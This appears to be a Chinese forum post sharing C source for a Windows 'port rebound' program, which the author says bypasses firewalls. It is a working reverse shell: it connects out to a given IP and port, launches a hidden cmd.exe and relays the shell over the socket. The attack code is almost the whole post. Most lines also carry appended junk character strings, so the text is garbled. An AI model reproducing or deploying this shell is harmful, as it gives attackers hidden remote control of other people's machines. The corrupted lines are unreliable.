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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 +Swl$ab  
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/* ============================== h3\(660>$  
Rebound port in Windows NT eA(FWO  
By wind,2006/7 )`|`PB  
===============================*/ / a}N6KUi  
#include Zl!  
#include #QOb[9(Tu(  
ei]Q<vT6  
#pragma comment(lib,"wsock32.lib") h6`VU`pPI  
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void OutputShell(); md9JvbB  
SOCKET sClient; 4/SltWU  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; E.*wNah"U  
V^ ;l g[:  
void main(int argc,char **argv) 'wBOnGi6  
{ =b6G' O[  
WSADATA stWsaData; uE,T Ea9;  
int nRet; ^MhMYA  
SOCKADDR_IN stSaiClient,stSaiServer; B/~ubw  
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if(argc != 3) $b_~  
{ U+ D#  
printf("Useage:\n\rRebound DestIP DestPort\n"); p NQ@aJ  
return; &=Y%4 vq  
} 5Tidb$L;Du  
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WSAStartup(MAKEWORD(2,2),&stWsaData); `J{{E,y @  
h,fahbH -  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); :Xx7':5  
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stSaiClient.sin_family = AF_INET; #H8QX5b)  
stSaiClient.sin_port = htons(0); YAi@EvzCVy  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 9(a*0H  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) _$}@hD*R~  
{ 0@&;JMh6<  
printf("Bind Socket Failed!\n"); ^d9o \  
return; 3Dh{#"88  
} 1iM(13jW  
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stSaiServer.sin_family = AF_INET;  $iH  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 4;IZ}9|G  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); >;xkiO>Y  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) K_X(j$2Xc  
{ jfa<32`0E  
printf("Connect Error!"); 94rx4"AN8;  
return; N45@)s!F9j  
} uE#i3( J  
OutputShell(); Sc]h^B^7  
} @Js@\)P79  
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void OutputShell() Yka>r9wr  
{ i Nn?G C>  
char szBuff[1024]; J,`I>^G  
SECURITY_ATTRIBUTES stSecurityAttributes; EY:EpVin  
OSVERSIONINFO stOsversionInfo; M?ElD1#Z  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; xaIe7.Z"xo  
STARTUPINFO stStartupInfo; ciPq@kMV  
char *szShell; FlH=Pqc  
PROCESS_INFORMATION stProcessInformation; T(kG"dz   
unsigned long lBytesRead; p|)j{nc  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 0}Q d  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); eoiC.$~\  
stSecurityAttributes.lpSecurityDescriptor = 0; * ^\u%Ir"  
stSecurityAttributes.bInheritHandle = TRUE; Vgj[m4l  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); TfNm0=|  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); H"V)dEm  
Aacj?   
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); R"71)ob4  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ,z$ U=u o  
stStartupInfo.wShowWindow = SW_HIDE; pD6a+B\;k  
stStartupInfo.hStdInput = hReadPipe; '&y+,2?;Y[  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; rAu@`H?  
\#'m([<e  
GetVersionEx(&stOsversionInfo); 7<F{a"5P  
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switch(stOsversionInfo.dwPlatformId) WTC/mcS  
{ oJ 0 #U  
case 1: w 1O)  
szShell = "command.com"; yjChnp Cc  
break; zhACNz4tJ  
default: 7(zY:9|(  
szShell = "cmd.exe"; SciEHI#  
break; "3a_C,\  
} VZU@G)rd  
wOl]N2<  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); iM{aRFL  
h{VGh kU9f  
send(sClient,szMsg,77,0); pW2-RHGJY  
while(1) \XG\  
{ u|&a!tOf2  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); Ktf lbI!  
if(lBytesRead) g _u  
{ 8.D9OpU  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); J|o )c~  
send(sClient,szBuff,lBytesRead,0); R<8!lQ4s  
} OQsF$% *   
else >Co5_sCe  
{ yLCJSN$7  
lBytesRead=recv(sClient,szBuff,1024,0); 9jt+PII  
if(lBytesRead<=0) break; ^@xn3zJ  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 9iOTT%pq  
} j1P#({z[  
} 7cT ~u  
Gn?<~8a  
return; z_ia3k<  
}
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